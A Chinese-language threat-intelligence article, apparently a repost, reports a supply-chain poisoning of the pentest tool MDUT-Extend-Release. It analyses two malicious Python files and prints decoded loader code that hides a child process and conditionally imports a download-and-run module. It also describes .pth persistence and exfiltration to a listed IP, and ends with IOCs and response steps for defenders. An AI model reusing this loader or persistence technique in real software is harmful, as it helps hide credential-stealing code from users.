文章总结： 2026年3月26日知名渗透测试工具MDUT-Extend-Release被披露遭供应链投毒。攻击者植入恶意Python文件利用.pth机制实现持久化，窃取敏感数据上传至境外服务器。该事件针对安全从业者，风险极高。文章提供了详细的技术分析、IOC指标及应急响应建议，呼吁建立工具签名机制重建信任。 综合评分： 88 文章分类： 供应链安全,恶意软件,威胁情报,应急响应,安全工具

定向网安从业者投毒攻击：MDUT-Extend-Release数据库渗透测试工具被投毒

原创

HackingChat HackingChat

黑客茶话会

2026年3月26日 15:15 山东

定向网安从业人员投毒攻击:MDUT-Extend-Release数据库渗透测试工具被投毒

【紧急预警】今日（3月26日）GitHub用户披露，MDUT-Extend-Release项目文件疑被植入后门，请立即自查！

2026年3月26日，GitHub用户k-fire在一则Issue中紧急报告了一起震惊安全圈的事件：知名渗透测试工具MDUT-Extend-Release（MDUT增强版）的发布文件遭供应链投毒，两个恶意Python文件被嵌入项目之中，分别负责远程下载执行和数据外传。恶意代码利用Python .pth文件机制实现持久化，窃取系统敏感数据并上传至境外服务器。这又是一起典型的”信任滥用”型供应链攻击——你以为在运行渗透测试工具，实际上工具正在背后悄悄出卖你。

一、事件始末：GitHub Issue揭开冰山一角

1.1 一则Issue，吹响警报

3月26日当天，一位GitHub用户k-fire在MDUT-Extend-Release项目仓库（DeEpinGh0st/MDUT-Extend-Release）提交了Issue #22，标题直言不讳——《MongoBleed 绑马了？》。报告显示，该项目在发布过程中被植入了两个恶意Python文件，一旦用户运行受污染的工具，攻击者即可远程控制其系统。消息一出，安全社区迅速响应。

● 事件性质：MDUT-Extend-Release项目发布文件被植入后门代码

● 恶意文件：https.py（远程下载执行）、pozos.py（数据外传）

● 触发时间：2026年3月26日（今日）被安全研究员公开披露

● 影响工具：MDUT-Extend（MDUT增强版），渗透测试人员广泛使用的数据库后渗透工具

1.2 MDUT-Extend是什么？为何影响重大

MDUT（Multiple Database Utilization Tools）是一款专为渗透测试人员设计的开源数据库后渗透利用工具，支持MySQL、MongoDB、Redis、Elasticsearch、PostgreSQL、MSSQL等多种主流数据库的管理与渗透测试。其增强版MDUT-Extend在原版基础上做了大量功能优化和Bug修复，在安全社区享有很高声誉，被大量安全工程师和白帽黑客用于日常授权渗透测试工作。

正因其在安全圈的高使用率，一旦工具本身被植入后门，其影响范围将极为广泛——从白帽黑客的测试主机，到企业安全团队的审计服务器，都可能成为潜在的受害者。这也意味着攻击者可以反向利用安全圈的资源，对更广泛的目标发起渗透攻击。

二、技术剖析：恶意代码如何运作？

2.1 两个恶意文件：https.py与pozos.py

安全用户披露的信息显示，此次投毒涉及两个恶意Python文件，各司其职、相互配合：

https.py — 远程下载执行

从Mapbox API下载数据并执行，伪装成正常网络请求

下载端：api.mapbox.com

利用合法API域名隐藏恶意流量

pozos.py — 数据外传控制

将窃取的数据上传至攻击者控制的境外服务器

上传端：139.99.54.58:8088

境外IP：托管攻击者的控制服务器

2.2 恶意代码详细分析

安全用户对pozos.py中的恶意代码进行了深度分析，解码后发现其核心逻辑如下：

import os,sys,subprocess
env = os.environ.copy()
# 环境变量检测：用于判断是否为子进程
if "ZEBUWIAKGPHOQAP006" in env and env["ZEBUWIAKGPHOQAP006"] == "PTsjBGKQUxZorq2":
    if "JKHWQVEKRASDF12" not in env:
        os.environ["JKHWQVEKRASDF12"] = "JKHKJ23VAS8DF9"
        import https   # 满足条件则导入https.py（触发远程下载执行）
else:
    # 父进程：设置标记并创建子进程
    env["ZEBUWIAKGPHOQAP006"] = "PTsjBGKQUxZorq2"
    try:
        # 创建子进程执行自身（带特殊创建标志 0x08000000）
        subprocess.Popen([sys.executable],creationflags=0x08000000,env=env)
    except OSError:
        pass

这段代码看似”正常”，实则暗藏杀机：环境变量标记+子进程分叉+动态import，是一套完整的”反检测+持久化”组合拳。攻击者通过条件分支巧妙规避静态分析，首次运行植入后门，后续运行触发数据外传。

2.3 .pth文件：开机即执行的持久化陷阱

除了代码层面的混淆，pozos.py还在受害者系统中通过Python site-packages目录写入package.pth文件实现持久化。Python在启动时会自动扫描并执行site-packages目录下的所有.pth文件内容，这意味着恶意代码将在每一次Python运行时自动激活——无需用户显式运行任何命令。

这种利用.pth文件的持久化手法，与LiteLLM投毒事件中利用litellm_init.pth文件的机制如出一辙，表明攻击者对Python生态的底层机制有着深刻理解。

2.4 攻击链路全解析

| | | | | — | — | — | | 阶段 | 技术动作 | 目的 | | 第一步：投毒 | 恶意文件https.py、pozos.py被嵌入MDUT-Extend发布包 | 植入后门 | | 第二步：激活 | 用户运行受污染工具，.pth文件触发pozos.py | 建立驻留 | | 第三步：分叉 | 父进程设置环境变量标记，创建子进程执行 | 规避检测 | | 第四步：下载 | 子进程触发import https，从Mapbox API下载payload | 接收指令 | | 第五步：外传 | 系统敏感数据上传至139.99.54.58:8088 | 数据窃取 |

三、IOC指标：确认你是否已中招

3.1 恶意基础设施

| | | | — | — | | 类型 | 指标 | | C2下载服务器 | api.mapbox.com（伪装） | | C2上传服务器 | 139.99.54.58:8088 | | 恶意文件名 | https.py、pozos.py、package.pth | | 恶意注册表项 | HKCU\SOFTWARE\Python\SystemVersion | | 环境变量标记 | ZEBUWIAKGPHOQAP006、JKHWQVEKRASDF12 |

3.2 自查清单：你的系统有没有被感染？

如果你是MDUT-Extend的用户，请立即执行以下排查步骤：

【紧急】立即执行以下四步排查

• 第一步：查文件。检查你的MDUT-Extend安装目录是否存在https.py、pozos.py这两个文件；检查Python site-packages目录下是否存在package.pth文件
• 第二步：查环境变量。在系统环境变量中搜索ZEBUWIAKGPHOQAP006或JKHWQVEKRASDF12，若存在说明已被感染
• 第三步：查注册表。检查注册表HKCU\SOFTWARE\Python\SystemVersion项是否存在，若存在同样说明已被感染
• 第四步：查网络。检查是否有进程向139.99.54.58:8088建立连接，尤其是来自Python进程的出站流量

四、影响评估与风险解读

4.1 威胁主体画像

此次投毒事件的直接威胁主体是安全从业者群体——白帽黑客、渗透测试工程师、企业安全团队。这些群体的共同特点是：

高度可信的网络环境：安全工程师的测试机通常具有较高的网络权限，可以访问各类内部系统、数据库、云平台。

丰富的敏感凭据：测试机上往往保存着各种测试用的数据库账户、云平台密钥、VPN凭证等敏感数据。

横向移动的理想跳板：攻陷安全工程师的主机，可借此向更广泛的企业内网甚至客户系统横向渗透。

4.2 为何这起事件格外危险？

安全圈有一句话：”黑客最想要的，是安全公司的工具。“一旦攻击者成功在MDUT-Extend中植入后门，可以实现多重危害：

情报收集：窃取安全工程师手中持有的大量目标系统凭据、漏洞测试数据、客户信息。

反向污染：通过获取的信息，攻击者可以针对安全圈的测试对象发起定向攻击，实现”以黑治黑”。

信任链破坏：安全工具被投毒将严重动摇行业信任基础，类似于医疗行业的假疫苗事件。

4.3 与MongoBleed的关联

此次Issue标题中的”MongoBleed”并非巧合。MongoBleed（CVE-2025-14847）是2025年12月披露的MongoDB高危内存泄露漏洞，影响全球70%以上的公开MongoDB实例。而MDUT-Extend正是一款支持MongoDB后渗透的强力工具，两者在本议题下被同时提及，揭示了一个更令人担忧的事实：攻击者的目标，很可能正是那些正在用MDUT-Extend审计MongoBleed漏洞的安全工程师——他们在帮客户检测漏洞，而攻击者正在反过来盯着他们。

五、防御建议与行动指南

【实操】五步应急响应

• 第一步：立即断网隔离。如果你的MDUT-Extend目录中存在上述可疑文件，立即将主机断网，防止数据继续外传
• 第二步：删除恶意文件并重置环境变量。删除所有可疑.py文件和package.pth，清除所有以ZEBUW开头的环境变量
• 第三步：轮换所有相关凭据。在MDUT-Extend中使用过的所有数据库账户、云平台密钥、VPN账号密码，立即在对应平台进行轮换
• 第四步：从可信来源重新下载。仅从GitHub官方仓库的正式Release页面下载工具，下载前检查文件哈希
• 第五步：报告与关注。向MDUT-Extend官方报告此次事件，关注项目仓库的后续安全公告

5.1 安全圈如何重建信任？

这起事件给安全社区敲响了沉重警钟。建议所有安全工具开发者尽快采取以下措施：

发布文件签名：对每个Release发布包进行GPG签名，用户可验证文件完整性。

依赖审查自动化：在CI/CD管道中加入依赖文件完整性检查，防止类似投毒在构建环节发生。

社区安全响应机制：建立类似SecuriCAD的安全报告奖励机制，鼓励社区发现并报告工具链安全问题。

当安全的守护者本身不再安全，当渗透测试的工具成为渗透测试者的陷阱，这不仅是技术的失败，更是信任的崩塌。MDUT-Extend后门事件，是2026年安全圈最值得深思的一记警钟。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：黑客茶话会 HackingChat HackingChat《定向网安从业者投毒攻击：MDUT-Extend-Release数据库渗透测试工具被投毒》